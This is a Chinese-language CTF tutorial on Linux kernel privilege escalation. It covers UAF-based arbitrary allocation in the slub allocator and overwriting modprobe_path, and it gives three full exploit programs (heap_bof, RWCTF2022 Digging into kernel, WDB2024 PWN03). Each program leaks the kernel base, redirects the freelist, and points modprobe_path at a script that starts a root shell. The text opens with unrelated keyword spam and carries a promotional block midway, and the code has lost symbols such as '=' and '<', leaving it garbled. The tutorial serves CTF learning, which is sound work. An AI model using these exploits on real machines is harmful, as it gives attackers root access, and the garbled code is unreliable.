手机端网站设计,北京未来广告公司,梅州网,进销存管理软件哪个好前言
本文我们通过我们的老朋友heap_bof来讲解Linux kernel中任意地址申请的其中一种比赛比较常用的利用手法modprobe_path#xff08;虽然在高版本内核已经不可用了但ctf比赛还是比较常用的#xff09;。在通过两道道近期比赛的赛题来讲解。
Arbitrary Address Allocation…前言
本文我们通过我们的老朋友heap_bof来讲解Linux kernel中任意地址申请的其中一种比赛比较常用的利用手法modprobe_path虽然在高版本内核已经不可用了但ctf比赛还是比较常用的。在通过两道道近期比赛的赛题来讲解。
Arbitrary Address Allocation
利用思路
通过 uaf 修改 object 的 free list 指针实现任意地址分配。与 glibc 不同的是内核的 slub 堆管理器缺少检查因此对要分配的目标地址要求不高不过有一点需要注意当我们分配到目标地址时会把目标地址前 8 字节的数据会被写入 freelist而这通常并非一个有效的地址从而导致 kernel panic因此在任意地址分配时最好确保目标 object 的 free list 字段为 NULL 。
当能够任意地址分配的时候与 glibc 改 hook 类似在内核中通常修改的是 modprobe_path 。modprobe_path 是内核中的一个变量其值为 /sbin/modprobe 因此对于缺少符号的内核文件可以通过搜索 /sbin/modprobe 字符串的方式定位这个变量。
当我们尝试去执行execve一个非法的文件file magic not found内核会经历如下调用链
entry_SYSCALL_64()sys_execve()do_execve()do_execveat_common()bprm_execve()exec_binprm()search_binary_handler()__request_module() // wrapped as request_modulecall_modprobe()其中 call_modprobe() 定义于 kernel/kmod.c我们主要关注这部分代码
static int call_modprobe(char *module_name, int wait)
{//...argv[0] modprobe_path;argv[1] -q;argv[2] --;argv[3] module_name; /* check free_modprobe_argv() */argv[4] NULL;info call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,NULL, free_modprobe_argv, NULL);if (!info)goto free_module_name;return call_usermodehelper_exec(info, wait | UMH_KILLABLE);//...在这里调用了函数 call_usermodehelper_exec() 将 modprobe_path 作为可执行文件路径以 root 权限将其执行。 我们不难想到的是若是我们能够劫持 modprobe_path将其改写为我们指定的恶意脚本的路径随后我们再执行一个非法文件内核将会以 root 权限执行我们的恶意脚本。
或者分析vmlinux即可(对于一些没有call_modprobe()符号的直接交叉引用即可)。
__int64 _request_module(char a1,__int64 a2,double a3,double a4,double a5,double a6,double a7,double a8,double a9,double a10,...)
{
......if ( v19 ){
......v21 call_usermodehelper_setup((__int64)byte_FFFFFFFF82444700, // modprobe_path(__int64)v18,(__int64)off_FFFFFFFF82444620,3264,0LL,(__int64)free_modprobe_argv,0LL);
......
}
.data:FFFFFFFF82444700 byte_FFFFFFFF82444700 ; DATA XREF: __request_module:loc_FFFFFFFF8108C6D8↑r
.data:FFFFFFFF82444700 db 2Fh ; / ; __request_module14B↑o ...
.data:FFFFFFFF82444701 db 73h ; s
.data:FFFFFFFF82444702 db 62h ; b
.data:FFFFFFFF82444703 db 69h ; i
.data:FFFFFFFF82444704 db 6Eh ; n
.data:FFFFFFFF82444705 db 2Fh ; /
.data:FFFFFFFF82444706 db 6Dh ; m
.data:FFFFFFFF82444707 db 6Fh ; o
.data:FFFFFFFF82444708 db 64h ; d
.data:FFFFFFFF82444709 db 70h ; p
.data:FFFFFFFF8244470A db 72h ; r
.data:FFFFFFFF8244470B db 6Fh ; o
.data:FFFFFFFF8244470C db 62h ; b
.data:FFFFFFFF8244470D db 65h ; e
.data:FFFFFFFF8244470E db 0exp
#include src/pwn_helper.h#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_WRITE 8
#define BOF_READ 9size_t modprobe_path 0xFFFFFFFF81E48140;
size_t seq_ops_start 0xffffffff81228d90;struct param {size_t len;size_t *buf;long long idx;
};void alloc_buf(int fd, struct param* p)
{printf([] kmalloc len:%lu idx:%lld\n, p-len, p-idx);ioctl(fd, BOF_MALLOC, p);
}void free_buf(int fd, struct param* p)
{printf([] kfree len:%lu idx:%lld\n, p-len, p-idx);ioctl(fd, BOF_FREE, p);
}void read_buf(int fd, struct param* p)
{printf([] copy_to_user len:%lu idx:%lld\n, p-len, p-idx);ioctl(fd, BOF_READ, p);
}void write_buf(int fd, struct param* p)
{printf([] copy_from_user len:%lu idx:%lld\n, p-len, p-idx);ioctl(fd, BOF_WRITE, p);
}int main()
{// len buf idxsize_t* buf malloc(0x500);struct param p {0x20, buf, 0};printf([] user_buf : %p\n, p.buf);int bof_fd open(/dev/bof, O_RDWR);if (bof_fd 0) {puts(RED [-] Failed to open bof. NONE);exit(-1);}printf(YELLOW [*] try to leak kbase\n NONE);alloc_buf(bof_fd, p);free_buf(bof_fd, p);int seq_fd open(/proc/self/stat, O_RDONLY);read_buf(bof_fd, p);qword_dump(leak seq_ops, buf, 0x20);size_t kernel_offset buf[0] - seq_ops_start;printf(YELLOW [*] kernel_offset %p\n NONE, (void*)kernel_offset);modprobe_path kernel_offset;printf(LIGHT_BLUE [*] modprobe_path addr : %p\n NONE, (void*)modprobe_path);p.len 0xa8;alloc_buf(bof_fd, p);free_buf(bof_fd, p);read_buf(bof_fd, p);buf[0] modprobe_path - 0x20;write_buf(bof_fd, p);alloc_buf(bof_fd, p);alloc_buf(bof_fd, p);read_buf(bof_fd, p);qword_dump(leak modprobe_path, buf, 0x30);strcpy((char *) buf[4], /tmp/shell.sh\x00);write_buf(bof_fd, p);read_buf(bof_fd, p);qword_dump(leak modprobe_path, buf, 0x30);if (open(/shell.sh, O_RDWR) 0) {system(echo #!/bin/sh /tmp/shell.sh);system(echo setsid /bin/cttyhack setuidgid 0 /bin/sh /tmp/shell.sh);system(chmod x /tmp/shell.sh);}system(echo -e \\xff\\xff\\xff\\xff /tmp/fake);system(chmod x /tmp/fake);system(/tmp/fake);return 0;
}帮助网安学习全套资料S信免费领取 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS
RWCTF2022 Digging into kernel 1 2
题目分析
start.sh
#!/bin/shqemu-system-x86_64 \-kernel bzImage \-initrd rootfs.img \-append consolettyS0 root/dev/ram rdinit/sbin/init quiet noapic kalsr \-cpu kvm64,smep,smap \-monitor null \--nographic \-s逆向分析
int __cdecl xkmod_init()
{kmem_cache *v0; // raxprintk(unk_1E4);misc_register(xkmod_device);v0 (kmem_cache *)kmem_cache_create(lalala, 192LL, 0LL, 0LL, 0LL);buf 0LL;s v0;return 0;
}int __fastcall xkmod_release(inode *inode, file *file)
{return kmem_cache_free(s, buf); // maybe double free
}void __fastcall xkmod_ioctl(__int64 a1, int a2, __int64 a3)
{__int64 data; // [rsp0h] [rbp-20h] BYREFunsigned int idx; // [rsp8h] [rbp-18h]unsigned int size; // [rspCh] [rbp-14h]unsigned __int64 v6; // [rsp10h] [rbp-10h]// v3 __ : 0x8 rsp 0x0// v4 __ : 0x4 rsp 0x8// v5 __ : 0x4 rsp 0xcv6 __readgsqword(0x28u);if ( a3 ){copy_from_user(data, a3, 0x10LL);if ( a2 0x6666666 ){if ( buf size 0x50 idx 0x70 ){copy_from_user((char *)buf (int)idx, data, (int)size);return;}}else{if ( a2 ! 0x7777777 ){if ( a2 0x1111111 )buf (void *)kmem_cache_alloc(s, 0xCC0LL);return;}if ( buf size 0x50 idx 0x70 ){((void (__fastcall *)(__int64, char *, int))copy_to_user)(data, (char *)buf (int)idx, size);return;}}xkmod_ioctl_cold();}
}利用思路
关于内核基址获取在内核堆基址page_offset_base 0x9d000 处存放着 secondary_startup_64 函数的地址而我们可以从 free object 的 next 指针获得一个堆上地址从而去找堆的基址之后分配到一个堆基址 0x9d000 处的 object 以泄露内核基址这个地址前面刚好有一片为 NULL 的区域方便我们分配。
#define __PAGE_OFFSET page_offset_base
#define PAGE_OFFSET ((unsigned long)__PAGE_OFFSET)
#define __va(x) ((void *)((unsigned long)(x)PAGE_OFFSET))/* Must be perfomed *after* relocation. */trampoline_header (struct trampoline_header *)__va(real_mode_header-trampoline_header);...trampoline_header-start (u64) secondary_startup_64;
[......]
// vmlinux 查找 secondary_startup_64 基址
.text:FFFFFFFF81000030 ; void secondary_startup_64()
[......]
pwndbgx/40gx (0xffff9f5d400000000x9d000-0x20
0xffff9f5d4009cfe0: 0X0000000000000000 0X0000000000000000
0xffff9f5d4009cff0: 0X0000000000000000 0X0000000005c0c067
0xffff9f5d4009d000: 0xffffffff97c00030 0X0000000000000901
0xffff9f5d4009d010: 0X00000000000006b0 0X0000000000000000
0xffff9f5d4009d020: 0X0000000000000000 0X0000000000000000至于 page_offset_base 可以通过 object 上的 free list 泄露的堆地址与上 0xFFFFFFFFF0000000 获取。不同版本可查看vmmap。
exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include asm/ldt.h
#include assert.h
#include ctype.h
#include errno.h
#include fcntl.h
#include linux/keyctl.h
#include linux/userfaultfd.h
#include poll.h
#include pthread.h
#include sched.h
#include semaphore.h
#include signal.h
#include stdbool.h
#include stdint.h
#include stdio.h
#include stdlib.h
#include string.h
#include sys/ioctl.h
#include sys/ipc.h
#include sys/mman.h
#include sys/msg.h
#include sys/prctl.h
#include sys/sem.h
#include sys/shm.h
#include sys/socket.h
#include sys/syscall.h
#include sys/types.h
#include sys/wait.h
#include sys/xattr.h
#include unistd.h
#include sys/io.hsize_t modprobe_path 0xFFFFFFFF82444700;void qword_dump(char *desc, void *addr, int len)
{uint64_t *buf64 (uint64_t *) addr;uint8_t *buf8 (uint8_t *) addr;if (desc ! NULL) {printf([*] %s:\n, desc);}for (int i 0; i len / 8; i 4) {printf( %04x, i * 8);for (int j 0; j 4; j) {i j len / 8 ? printf( 0x%016lx, buf64[i j]) : printf( );}printf( );for (int j 0; j 32 j i * 8 len; j) {printf(%c, isprint(buf8[i * 8 j]) ? buf8[i * 8 j] : .);}puts();}
}struct Data {size_t *buf;u_int32_t offset;u_int32_t size;
};void alloc_buf(int fd, struct Data *data)
{ioctl(fd, 0x1111111, data);
}void write_buf(int fd, struct Data *data)
{ioctl(fd, 0x6666666, data);
}void read_buf(int fd, struct Data *data)
{ioctl(fd, 0x7777777, data);
}int main()
{int xkmod_fd[5];for (int i 0; i 5; i) {xkmod_fd[i] open(/dev/xkmod, O_RDONLY);if (xkmod_fd[i] 0) {printf([-] %d Failed to open xkmod., i);exit(-1);}}struct Data data {malloc(0x1000), 0, 0x50};alloc_buf(xkmod_fd[0], data);close(xkmod_fd[0]);read_buf(xkmod_fd[1], data);qword_dump(buf, data.buf, 0x50);size_t page_offset_base data.buf[0] 0xFFFFFFFFF0000000;printf([] page_offset_base: %p\n, page_offset_base);data.buf[0] page_offset_base 0x9d000 - 0x10;write_buf(xkmod_fd[1], data);alloc_buf(xkmod_fd[1], data);alloc_buf(xkmod_fd[1], data);data.size 0x50;read_buf(xkmod_fd[1], data);qword_dump(buf, data.buf, 0x50);size_t kernel_offset data.buf[2] - 0xffffffff81000030;printf(kernel offset: %p\n, kernel_offset);modprobe_path kernel_offset;close(xkmod_fd[1]);data.buf[0] modprobe_path - 0x10;write_buf(xkmod_fd[2], data);alloc_buf(xkmod_fd[2], data);alloc_buf(xkmod_fd[2], data);strcpy((char *) data.buf[2], /home/shell.sh);write_buf(xkmod_fd[2], data);if (open(/home/shell.sh, O_RDWR) 0) {system(echo #!/bin/sh /home/shell.sh);system(echo setsid cttyhack setuidgid 0 sh /home/shell.sh);system(chmod x /home/shell.sh);}system(echo -e \\xff\\xff\\xff\\xff /home/fake);system(chmod x /home/fake);system(/home/fake);return 0;
}WDB2024 PWN03
利用思路
基本上和RWCTF2022 Digging into kernel 1 2是一样的这道题大家拿去练手即可建议大家自行分析题目我只把我的exp贴在下面但是建议大家自己写一个exp。
exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include asm/ldt.h
#include assert.h
#include ctype.h
#include errno.h
#include fcntl.h
#include linux/keyctl.h
#include linux/userfaultfd.h
#include poll.h
#include pthread.h
#include sched.h
#include semaphore.h
#include signal.h
#include stdbool.h
#include stdint.h
#include stdio.h
#include stdlib.h
#include string.h
#include sys/ioctl.h
#include sys/ipc.h
#include sys/mman.h
#include sys/msg.h
#include sys/prctl.h
#include sys/sem.h
#include sys/shm.h
#include sys/socket.h
#include sys/syscall.h
#include sys/types.h
#include sys/wait.h
#include sys/xattr.h
#include unistd.h
#include sys/io.hsize_t modprobe_path 0xFFFFFFFF81E58B80;void qword_dump(char *desc, void *addr, int len)
{uint64_t *buf64 (uint64_t *) addr;uint8_t *buf8 (uint8_t *) addr;if (desc ! NULL) {printf([*] %s:\n, desc);}for (int i 0; i len / 8; i 4) {printf( %04x, i * 8);for (int j 0; j 4; j) {i j len / 8 ? printf( 0x%016lx, buf64[i j]) : printf( );}printf( );for (int j 0; j 32 j i * 8 len; j) {printf(%c, isprint(buf8[i * 8 j]) ? buf8[i * 8 j] : .);}puts();}
}void alloc_buf(int fd, int size)
{printf([] kmalloc %d\n, size);ioctl(fd, 0x0, size);
}void free_buf(int fd)
{printf([] kfree\n);ioctl(fd, 0x1, 0);
}void read_buf(int fd, size_t* buf, int size)
{printf([] copy_to_user %d\n, size);read(fd, buf, size);qword_dump(read_buf, buf, size);
}void write_buf(int fd, size_t* buf, int size)
{printf([] copy_from_user %d\n, size);qword_dump(write_buf, buf, size);write(fd, buf, size);
}int main()
{size_t* buf malloc(0x500);int easy_fd;easy_fd open(/dev/easy, O_RDWR);alloc_buf(easy_fd, 0xa8);free_buf(easy_fd);read_buf(easy_fd, buf, 0xa8);size_t page_offset_base buf[0] 0xFFFFFFFFF0000000;printf([*] page_offset_base %p\n, page_offset_base);buf[0] page_offset_base 0x9d000 - 0x10;write_buf(easy_fd, buf, 0x8);alloc_buf(easy_fd, 0xa8);alloc_buf(easy_fd, 0xa8);read_buf(easy_fd, buf, 0xa8);size_t kernel_offset buf[2] - 0xFFFFFFFF81000110;printf([*] kernel offset: %p\n, kernel_offset);modprobe_path kernel_offset;buf[0] modprobe_path - 0x20;alloc_buf(easy_fd, 0xa8);free_buf(easy_fd);write_buf(easy_fd, buf, 0x8);alloc_buf(easy_fd, 0xa8);alloc_buf(easy_fd, 0xa8);read_buf(easy_fd, buf, 0x20);strcpy((char *) buf[4], /shell.sh\x00);write_buf(easy_fd, buf, 0x30);if (open(/shell.sh, O_RDWR) 0) {system(echo #!/bin/sh /shell.sh);system(echo setsid /bin/cttyhack setuidgid 0 /bin/sh /shell.sh);system(chmod x /shell.sh);}system(echo -e \\xff\\xff\\xff\\xff /fake);system(chmod x /fake);system(/fake);return 0;
}